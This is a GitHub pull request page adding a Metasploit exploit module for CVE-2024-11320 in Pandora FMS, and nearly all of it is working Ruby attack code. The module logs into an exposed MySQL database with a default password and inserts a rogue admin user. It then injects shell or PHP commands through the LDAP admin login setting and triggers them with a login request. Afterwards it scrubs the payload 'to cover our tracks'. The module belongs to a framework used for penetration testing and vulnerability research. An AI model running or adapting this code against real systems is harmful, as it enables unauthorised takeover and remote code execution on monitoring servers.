Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pandora FMS auth RCE [CVE-2024-11320] #19738

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
345 changes: 345 additions & 0 deletions modules/exploits/linux/http/pandora_fms_preauth_rce_cve_2024_11320.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,345 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/mysql/client'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include BCrypt
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

# @!attribute [rw] mysql_client
# @return [::Rex::Proto::MySQL::Client]
attr_accessor :mysql_client

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora FMS preauth command injection leading to RCE via LDAP using default DB password',
'Description' => %q{
Pandora FMS is a monitoring solution that provides full observability for your organization's
technology. This module exploits an command injection vulnerability in the LDAP authentication
mechanism of Pandora FMS.
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
This access can be achieved leveraging a default password vulnerability in Pandora FMS that
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
administrative access to the Pandora FMS Web application. This attack can be remotely executed
over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
'Askar mhaskar', # POC Github CVE-2024-11320
],
'References' => [
['CVE', '2024-11320'],
['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
['URL', 'https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'php'],
'Privileged' => true,
'Arch' => [ARCH_CMD, ARCH_PHP],
'Targets' => [
[
'PHP Command',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_cmd
}
],
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-21',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']),
OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']),
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']),
OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']),
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
OptString.new('USER', [false, 'Pandora web admin user', 'admin']),
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora'])
])
end

# MySQL login
# returns true if successful else false
def mysql_login(host, user, password, db, port)
begin
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
rescue Errno::ECONNREFUSED
print_error('Connection refused')
return false
rescue ::Rex::Proto::MySQL::Client::ClientError
print_error('Connection timedout')
return false
rescue Errno::ETIMEDOUT
print_error('Operation timedout')
return false
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
print_error('Unable to login from this host due to policy')
return false
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_error('Access denied')
return false
end
true
end

# MySQL query
# returns query result if successful (can be nil) else returns false
def mysql_query(sql)
begin
res = mysql_client.query(sql)
rescue ::Rex::Proto::MySQL::Client::Error => e
print_error("MySQL Error: #{e.class} #{e}")
return false
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return false
end
res
end

# login at the Pandora FMS web application
# return true if login successful else false
def pandora_login(name, pwd)
# first login GET request to get csrf code
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'login' => 1
}
})
return false unless res&.code == 200
h00die-gr3y marked this conversation as resolved.
Show resolved Hide resolved

# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
html = res.get_html_document
csrf_code = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code}")
return false if csrf_code.nil? || csrf_code.blank?
h00die-gr3y marked this conversation as resolved.
Show resolved Hide resolved

# second login POST request using the csrf code
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'login' => 1
},
'vars_post' => {
'nick' => name,
'pass' => pwd,
'Login_button' => "Let's go",
'csrf_code' => csrf_code.attribute_nodes[3]
}
})
return res&.code == 200 && res.body.include?('id="welcome-icon-header"')
end

# CVE-2024-11320: Misconfigure LDAP with RCE payload
# return true if successful else false
def configure_ldap(payload)
# first LDAP GET request to get the csrf_code
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'auth'
}
})
return false unless res&.code == 200
h00die-gr3y marked this conversation as resolved.
Show resolved Hide resolved

# scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
html = res.get_html_document
csrf_code = html.at('input[@id="hidden-csrf_code"]')
vprint_status("csrf_code: #{csrf_code}")
return false if csrf_code.nil? || csrf_code.blank?
h00die-gr3y marked this conversation as resolved.
Show resolved Hide resolved

# second LDAP POST request using the csrf_code
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'general',
'sec2' => 'godmode/setup/setup',
'section' => 'auth'
},
'vars_post' => {
'update_config' => 1,
'csrf_code' => csrf_code.attribute_nodes[3],
'auth' => 'ldap',
'fallback_local_auth' => 1,
'fallback_local_auth_sent' => 1,
'ldap_server' => 'localhost',
'ldap_port' => 389,
'ldap_version' => 3,
'ldap_start_tls_sent' => 1,
'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg',
'ldap_login_attr' => 'uid',
'ldap_admin_login' => payload,
'ldap_admin_pass' => 'test',
'ldap_search_timeout' => 0,
'secondary_ldap_enabled_sent' => 1,
'ldap_server_secondary' => 'localhost',
'ldap_port_secondary' => 389,
'ldap_version_secondary' => 3,
'ldap_start_tls_secondary_sent' => 1,
'ldap_base_dn_secondary' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg',
'ldap_login_attr_secondary' => 'uid',
'ldap_admin_login_secondary' => nil,
'ldap_admin_pass_secondary' => nil,
'double_auth_enabled_sent' => 1,
'2FA_all_users_sent' => 1,
'session_timeout' => 90,
'update_button' => 'Update',
'ldap_function' => 'local'
}
})
return res&.code == 200
end

# CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration
def execute_command(cmd, _opts = {})
# modify php payload to trigger the RCE
if target['Type'] == :php_cmd
php_cmd = cmd.gsub(/'/, '"')
payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
else
payload = "';" + cmd + ' #'
end
h00die-gr3y marked this conversation as resolved.
Show resolved Hide resolved

# misconfigure LDAP settings with RCE payload
# clear cookies and execute dummy login to trigger the LDAP RCE payload
if configure_ldap(payload)
@clean_payload = true
cookie_jar.clear
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'login' => 1
}
})
else
@clean_payload = false
end
end

def cleanup
# try to remove the payload from the LDAP settings to cover our tracks
# but do not run during the check phase
super
unless @check_running
# Disconnect from MySQL server
mysql_client.close if mysql_client
# check if payload should be removed
if @clean_payload
if pandora_login(@username, @password) && configure_ldap(nil)
print_good('Payload is successful removed from LDAP configuration.')
return
end
print_warning('Payload could not be removed from LDAP configuration. Try to clean it manually.')
end
end
end

def check
@check_running = true
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
})
unless res&.code == 200 && res.body.include?('PandoraFMS.com')
return CheckCode::Safe('Target is not a Pandora FMS application.')
end

html = res.get_html_document
full_version = html.at('div[@id="ver_num"]')
if full_version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

full_version = full_version.text
version = full_version[1..].sub('NG', '')
if version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

version = Rex::Version.new version
unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4')
return CheckCode::Safe("Pandora FMS version #{full_version}")
end

CheckCode::Appears("Pandora FMS version #{full_version}")
end

def exploit
@check_running = false
# check if we can login at the Pandora Web application with the default admin credentials
@username = datastore['USER']
@password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.")
unless pandora_login(@username, @password)
# connect to the PostgreSQL DB with default credentials
print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res

# add a new admin user
@username = Rex::Text.rand_text_alphanumeric(5..8).downcase
@password = Rex::Text.rand_password
password_hash = Password.create(@password)
print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.")
mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');")
fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false

# log in with the new admin user credentials at the Pandora FMS Web application
print_status("Trying to log in with new admin credentials #{@username}:#{@password} at the Pandora FMS Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora FMS application.') unless pandora_login(@username, @password)
end
print_status('Succesfully authenticated at the Pandora FMS Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: @username, private: @password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd, :php_cmd
execute_command(payload.encoded)
end
end
end
Loading